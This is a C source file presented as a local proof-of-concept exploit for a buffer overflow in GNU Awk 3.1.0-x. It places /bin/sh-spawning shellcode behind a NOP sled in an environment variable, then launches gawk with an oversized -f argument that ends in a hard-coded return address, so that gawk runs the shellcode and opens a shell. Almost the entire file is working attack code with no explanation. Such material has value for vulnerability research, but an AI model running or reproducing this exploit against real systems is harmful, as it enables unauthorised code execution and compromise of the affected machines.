/* local GNU Awk 3.1.0-x proof of concept exploit */

#include <stdio.h>
#include <sys/signal.h>

void aborted(int);

char shellcode[] =
       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
       "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int 
main()
{
  unsigned long ret = 0xbffffd30;
  char buf[8214];
  char egg[1024]; 
  char *ptr;

  int i=0;

  memset(buf,0x90,sizeof(buf));
  ptr = egg;

  for (i = 0; i < 1024 - strlen(shellcode) -1; i++) *(ptr++) = '\x90';
  for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];

  egg[1024 - 1] = '\0';
  memcpy(egg,"EGG=",4);
  putenv(egg);  

  buf[8209] = (ret & 0x000000ff);
        buf[8210] = (ret & 0x0000ff00) >> 8;
        buf[8211] = (ret & 0x00ff0000) >> 16;
        buf[8212] = (ret & 0xff000000) >> 24;
  buf[8213] = 0x00;

  printf("local GNU Awk 3.1.0-x proof of concept exploit\n");
  printf("ret: 0x%x\n",ret);
  printf("buf: %d\n\n",strlen(buf));

  execl("/usr/bin/gawk", "gawk", "-f" , buf, NULL);
}